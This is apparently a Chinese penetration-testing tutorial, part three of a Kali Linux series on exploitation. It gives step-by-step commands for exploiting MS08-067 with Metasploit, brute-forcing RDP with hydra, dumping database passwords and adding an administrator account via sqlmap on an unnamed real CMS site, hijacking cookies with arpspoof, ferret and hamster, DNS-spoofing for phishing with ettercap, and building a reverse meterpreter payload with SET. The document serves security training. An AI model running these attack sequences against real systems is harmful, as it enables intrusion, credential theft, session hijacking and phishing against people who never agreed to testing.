漏洞利用阶段利用已获得的信息和各种攻击手段实施渗透。网络应用程序漏洞诊断项目的加密通信漏洞诊断是必须执行的。顾名思义,利用漏洞,达到攻击的目的。

  • Metasploit Framework
  • rdesktop  + hydra
  • Sqlmap
  • Arpspoof
  • tcpdump + ferret + hamster
  • Ettercap
  • SET

Metasploit Framework

Metasploit是一款开源的安全漏洞检测工具,Metasploit Framework (MSF) 在2003年以开放源码方式发布,是可以自由获取的开发框架。它是一个强大的开源平台,供开发,测试和使用恶意代码,这个环境为渗透测试、shellcode 编写和漏洞研究提供了一个可靠平台。这种可以扩展的模型将负载控制(payload)、编码器(encode)、无操作生成器(nops)和漏洞整合在一起,使 Metasploit Framework 成为一种研究高危漏洞的途径。它集成了各平台上常见的溢出漏洞和流行的 shellcode ,并且不断更新。

概要:MSF架构、组件

实例演示:入侵Windows XP SP3 (ms08_067)

MSF架构

Metasploit Framework并不止具有exploit(溢出)收集功能,它使你专注于创建自己的溢出模块或者二次开发。很少的一部分用汇编和C语言实现,其余均由ruby实现。总体架构:

TOOLS          集成了各种实用工具,多数为收集的其它软件

PLUGINS      各种插件,多数为收集的其它软件。直接调用其API,但只能在console工作。

MODULES    目前的Metasploit Framework 的各个模块

MSF core      表示Metasploit Framework core 提供基本的API,并且定义了MSF的框架。

并将各个子系统集成在一起。组织比较散乱,不建议更改。

MSF Base     提供了一些扩展的、易用的API以供调用,允许更改

Rex LIBRARIES        Metasploit Framework中所包含的各种库,是类、方法和模块的集合

CLI            表示命令行界面

GUI            图形用户界面

Console        控制台用户界面

Web            网页界面,目前已不再支持

Exploits        定义实现了一些溢出模块,不含payload的话是一个Aux

Payload        由一些可动态运行在远程主机上的代码组成

Nops        用以产生缓冲区填充的非操作性指令

Aux            一些辅助模块,用以实现辅助攻击,如端口扫描工具

Encoders        重新进行编码,用以实现反检测功能等

进入msfconsole后可配置数据库来更方便更快速的查询各种模块

首先启动postgresql

sudo  systemctl start postgresql

切换到postgresql

su postgres

创建一个postgresql数据库账户

create user root –P

接着,会提示输入密码,然后确认密码

创建数据库

createdb --owner=root nexp_db

owner参数指定数据库的所有者,后一个参数为数据库名称

然后退出进入MSF连接数据库

db_connect root:toor@localhost/nexp_db

连接成功后会提示:

[-] postgresql already connected to msf

[-] Run db_disconnect first if you wish to connect to a different database

msfconsole支持系统所有命令,在终端中输入help可以查看“Core Commands”、“Database Backend Commands”、“Exploit Commands”

MSF集成的几种漏洞扫描组件

Nmap

Nmap适用于Winodws、Linux、Mac等操作系统。它用于主机发现、端口发现或枚举、服务发现,检测操作系统、硬件地址、软件版本以及脆弱性的漏洞。Metasploit Framework平台集成了Nmap组件。通常在对目标系统发起攻击之前需要进行一些必要的信息收集,如获取网络中的活动主机、主机开放的端口等。

Nessus

Nessus是当前使用最广泛的漏洞扫描工具之一。Nessus采用client/sever模式,服务器端负责进行安全检查,客户端用来配置管理服务器端。在服务端还采用了plug-in的体系,允许用户加入执行特定功能的插件,这插件可以进行更快速和更复杂的安全检查。

nmap进行端口扫描

nmap -sS -v www.hdu.edu.cn -oX Desktop/out.xml

通过db_import命令导入已保存的扫描结果

db_import Desktop/out.xml

使用hosts命令查看包含在XML格式的扫描结果中的对象

使用services命令详细查看下列开放端口的相关服务信息

使用notes命令按扫描结果显示的端口导出详细信息

实例演示MSF入侵WinXP(ms_08067)

环境:

Windows XP SP3

IP:172.16.211.129

Kali Linux

IP:172.16.211.128

实验原理

漏洞名称:Windows Server服务RPC请求缓冲区溢出漏洞(MS08-067)

此安全更新解决了服务器服务中一个秘密报告的漏洞。如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。 在 Microsoft Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码。 此漏洞可能用于进行蠕虫攻击。 防火墙最佳做法和标准的默认防火墙配置有助于保护网络资源免受从企业外部发起的攻击。

实验过程

在msfconsole使用search命令搜索MS08067漏洞攻击程序

从结果中得到

Name : exploit/windows/smb/ms08_067_netapi

Disclosure Date:2008-10-28

Rank:great

Description:MS08-067 Microsoft Server Service Relative Path Stack Corruption

使用use命令调用MS08067漏洞攻击程序

use exploit/windows/smb/ms08_067_netapi

使用show options 命令查看需要设置的选项

从图中可以看到还需设置RHOST(目标地址)、Exploit target(攻击目标)

使用 set 命令设置 Module Options,此处需要设置目标IP

即 set RHOST 172.16.211.129

使用 set 命令设置后,可再使用show options 命令查看设置情况

从中可以看出目标IP已经设置好

接着设置Exploit target,使用show targets 查看可选项

可以看出以下版本的系统均存在此漏洞

因为实例演示的XP系统为WinXP SP3 简体中文版,即

使用set target 命令设置目标,此处即为set target 34

此时再用show options 可以看到全部设置完成,接着使用exploit 或者 run 进行攻击

执行exploit命令后得到一个meterpreter

在meterpreter中输入shell即可进入CMD窗口

接着即可执行CMD命令,例如打开RDP服务

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

使用netstat -an命令查看端口是否开放,从图中可以看到已经开放

接着使用net user命令查看XP系统中的用户

可以看到存在一个用户为sysorem

然后针对指定用户比如这里的sysorem用户进行登录密码爆破

hydra 172.16.211.129 rdp -l sysorem -P Desktop/pass.txt

使用hydra爆破密码得:12345接着就能直接登录XP进行远程控制

rdesktop -a 32 -u sysorem -p 12345 172.16.211.129:3389

SQLmap

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。采用五种独特的SQL注入技术,分别是:

1)基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

2)基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

3)基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

4)联合查询注入,可以使用union的情况下的注入。

5)堆查询注入,可以同时执行多条语句的执行时的注入。

概要:常用语法简单介绍

实例演示:实例演示通过一个注入点入侵一台服务器

常用语法介绍

获取当前用户名称

sqlmap -u "http://url/news?id=1" --current-user 

获取当前数据库名称

sqlmap -u "http://www.xxoo.com/news?id=1" —current-db

列表名

sqlmap -u "http://www.xxoo.com/news?id=1" --tables -D “db_name”

列字段

sqlmap -u "http://url/news?id=1" --columns -T "tablename" users-D "db_name" -v 0 #

获取字段内容

sqlmap -u "http://url/news?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0

实例演示通过一个注入点入侵一台服务器

目标网站:某CMS

测试是否存在注入

sqlmap -u "http://xxx/newsInfo.php?news_id=1&classsn=8001" --level 2

Payload

news_id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b766271,0x5a794e4d4a626f5857704c4959506c49507a58666b4c44717864664b596d586d797059515752464d,0x716a786b71),NULL,NULL-- PHML&classsn=9003

查询数据库所属用户,返回ht_zhengke20%

sqlmap -u “http://xxx/newsInfo.php?news_id=1&classsn=8001” --current-user

查询是否是管理员账户,返回true

sqlmap -u “http://xxx/newsInfo.php?news_id=1&classsn=8001”  --is-dba 

列数据库

sqlmap -u “http://xxx/newsInfo.php?news_id=1&classsn=8001” --dbs

列数据库用户

sqlmap -u “http://xxx/newsInfo.php?news_id=1&classsn=8001” --users

列数据库用户密码

sqlmap -u “http://xxx/newsInfo.php?news_id=1&classsn=8001” --passwords

得到ht_zhengke2用户的明文密码为ht_zhengke2

nmap扫描发现开放3389端口

进入sql shell

sqlmap -u “http://xxx/newsInfo.php?news_id=1&classsn=8001” --sql-shell

在sqlshell中添加一个用户并提升到管理员

net user root 12345 /add

net localgroup administrators root /add

使用新添加的用户远程登录服务器

Arpspoof

由于局域网的网络流通不是根据IP地址进行,而是根据MAC地址进行传输。所以,MAC地址在A上被伪造成一个不存在的MAC地址,这样就会导致网络不通,A不能Ping通C。这就是一个简单的ARP欺骗,利用的是ARP协议的漏洞。往往在内网渗透中,可配合其他工具用于网络嗅探、流量劫持等作用。

实例应用:

ARP欺骗攻击及会话劫持

ARP断网攻击

命令结构:

arpspoof [-i interface] [-t target] host

-i  表示网卡,-t 表示目标

ARP欺骗攻击

Windows XP SP3

IP:172.16.211.129

Kali Linux

IP:172.16.211.128

网关

IP:172.16.211.2

开启IP转发(可使用cat查看是否设置成功)

echo 1 >> /proc/sys/net/ipv4/ip_forward

重定向受害者的流量传送给攻击者

arpspoof   -i   eth0   -t  172.16.211.129   172.16.211.2

tcpdump抓包(使用wireshark也可以)

因为网关具有路由功能,因此只要监听本地网卡流量就能得到目标主机的流量。

简单用法: tcpdump -w cookie.cap  #抓取所有流量写入cookie.cap

进行一段时间的欺骗,期间可以随便浏览些网页,聊天之类的,比如现在访问数字杭电,一段时间后停止欺骗、停止抓包,并配合使用ferret处理抓取的流量。

简单用法: ferret -r cookie.cap  #处理抓取的流量

hamster

确保处理后的cookie.cap在root用户根目录后,运行hamster

接着根据提示设置浏览器代理

Kali 自带的Firefox浏览器设置代理如图

设置好代理后浏览器中访问hamster或http://127.0.0.1:1234

点击左侧链接,已经成功劫持cookie,实现访问

ARP断网攻击

关闭本地IP转发,当来自网关的流量到达本机时,目标机器无法获得来自网关的数据,从而“断网”

arpspoof   -i   eth0   172.16.211.1   172.16.211.128

ettercap

ettercap是一个强大的欺骗工具,能够让测试人员以极快的速度创建和发送伪造的包、从网络适配器到应用软件各种级别的包、绑定监听数据到一个本地端口等。是中间人攻击中常用到的辅助工具。

不过多介绍,有兴趣的小伙伴可以自行了解下

实例演示:MIMT之DNS欺骗(钓鱼)

配置dns(/etc/ettercap/etter.dns)     172.16.211.128为本机在局域网地址

开启本地web服务

直接访问会返回apache默认页面

使用命令ettercap -G 启动ettercap,并选择Unifind sniffing进行网卡配置

接着扫描存活的主机,扫描完毕点击下图的Hosts list

将网关地址添加到 target1,将攻击目标添加到  target2

接着设置中间人攻击的形式为ARP欺骗,并设置双向欺骗

接着启用dns_spoof插件

接着开始DNS欺骗

然后在目标主机上浏览www.hdu.edu.cn 时就能达到欺骗的效果

DNS欺骗在内网渗透中往往用于获取管理员信息、钓鱼等。例如可以伪造内网路由器管理页面,欺骗用户在管理页面输入真实账号密码等。

SET

SET是利用社会工程学理论的工具集。它与metasploit连接,自动构建可应用于社会工程学技术的微软最新楼漏洞、Adobe PDF漏洞、Java Applet漏洞等多种环境。它不仅使用方便,而且还能巧妙地瞒过普通用户的眼睛。因此,也是极其危险的工具。

在shell中输入setoolkit启动SET,它可进行社工、渗透等测试,此处选1即社工

选择连接方式为4,创建一个payload和listener

因为用于演示的系统为WinXP 32bit,因此选择连接方式为2

接着设置本机IP和端口(此处端口设置为4445,避免冲突即可)

接着SET将启动MSF并通过以上设置的payloads后,当用户被诱导并逆向连接本机4445端口时,将会得到一个meterpreter,得到meterpreter后,可输入?查看可用命令

例如screenshot截屏

Kali Linux渗透基础知识整理(三):漏洞利用的更多相关文章

  1. Kali Linux渗透基础知识整理(二)漏洞扫描

    Kali Linux渗透基础知识整理系列文章回顾 漏洞扫描 网络流量 Nmap Hping3 Nessus whatweb DirBuster joomscan WPScan 网络流量 网络流量就是网 ...

  2. Kali Linux渗透基础知识整理(四):维持访问

    Kali Linux渗透基础知识整理系列文章回顾 维持访问 在获得了目标系统的访问权之后,攻击者需要进一步维持这一访问权限.使用木马程序.后门程序和rootkit来达到这一目的.维持访问是一种艺术形式 ...

  3. Kali Linux渗透基础知识整理(一):信息搜集

    写在前面的废话:最近要给一些新人做培训,整理些东西,算不上什么太高端的内容,只是简单的整理下了,我觉得对于小白的话也还算是干货.在乌云水了几年,算不上什么大神水平,最近生活费紧张,现在打算在FreeB ...

  4. Linux系统基础知识整理

    一.说明 本篇文章,我将结合自己的实践以及简介,来对linux系统做一个直观清晰的介绍,使得哪些刚接触Linux的小伙伴可以快速入门,也方便自己以后进行复习查阅. 二.基本知识整理 1.Linux文件 ...

  5. Linux系统基础知识整理(一)

    本文来自于: https://www.cnblogs.com/hafiz/p/6686187.html#4196989 一.说明 本篇文章,我将结合自己的实践以及简介,来对linux系统做一个直观清晰 ...

  6. 运维之Linux基础知识(三)

    运维之Linux基础知识(三) 1. 查看文本 cat tac more less head tail 1.1 cat 连接并显示文件 cat -n:在显示的时候,将每一行编号 -E:显示结束符$ - ...

  7. 【OGG】OGG基础知识整理

    [OGG]OGG基础知识整理 一.GoldenGate介绍 GoldenGate软件是一种基于日志的结构化数据复制软件.GoldenGate 能够实现大量交易数据的实时捕捉.变换和投递,实现源数据库与 ...

  8. Kali linux渗透测试常用工具汇总1

    1.ProxyChains 简介:代理工具.支持HTTP/SOCKS4/SOCK5的代理服务器,允许TCP/DNS通过代理隧道. 应用场景:通过代理服务器上网. 配置:/etc/proxychains ...

  9. Linux shell基础知识(上)

    Linux shell基础知识(上) 目录 一.shell介绍 二.命令历史 三.命令补全和别名 四.通配符 五.输入输出重定向 六.管道符和作业控制 七.shell变量 八.环境变量配置文件 九.b ...

随机推荐

  1. unix-ln 命令

    指令名称 : ln 使用权限 :所有使用者 使用方式 : ln [options] source dist, 其中 option 的格式为 : [-bdfinsvF] [-S backup-suffi ...

  2. 如何写出让hr一看就约你面试的简历?

  3. Python + OpenCV2 系列:1 - 配置

    Python+OpenCV2+Eclipse+Windos 8.1(32bits): 最初的目的是做图像处理,opencv强大的社区支持,让我想从matlab转到opencv框架下进行试验,而Pyth ...

  4. apt-get整理(草稿)

    1.apt-get这种方法下载的东西到哪了 参考网址:http://blog.csdn.net/magic881213/article/details/7692007 http://www.linux ...

  5. Python之路【第六篇】:面向对象编程相关

    判断类与对象关系 isinstance(obj, cls)  判断对象obj是否是由cls类创建的 #!/usr/bin/env python #-*- coding:utf-8 -*- class ...

  6. jQuery 取值、赋值的基本方法

    转载:http://www.cnblogs.com/huanhuan86/archive/2012/06/13/2548071.html 获取元素的value值: /*获得TEXT.AREATEXT的 ...

  7. java 获取文件的最后编辑时间

    还是日志的问题,需要把日志文件的一些信息给显示出来,其中就需要显示最后的编辑时间,在网上找的答案... File f = new File(path); SimpleDateFormat sdf = ...

  8. HTML5游戏设计与开发 小白7-9月的动态

    好久没有更新博客了,最近在努力修炼提升逼格,当然了还有个恶心的毕业论文... 当然啦...在写这个论文的时候也就是为了提升下自身的技术,毕竟我的公司也不是游戏公司,SO 我决定开发个手机游戏.然后考虑 ...

  9. winform 开发心得~

    winform自适应不同分辨率 不同dpi 1.窗体AutoScaleMode属性 使用None 2.自定义控件 AutoScaleMode 使用Inherit 3.所有控件窗体字体使用px为单位

  10. mongodb_修改器($inc/$set/$unset/$push/$pop/upsert......)

    主从复制:http://blog.csdn.net/drifterj/article/details/7833883 对于文档的更新除替换外,针对某个或多个文档只需要部分更新可使用原子的更新修改器,能 ...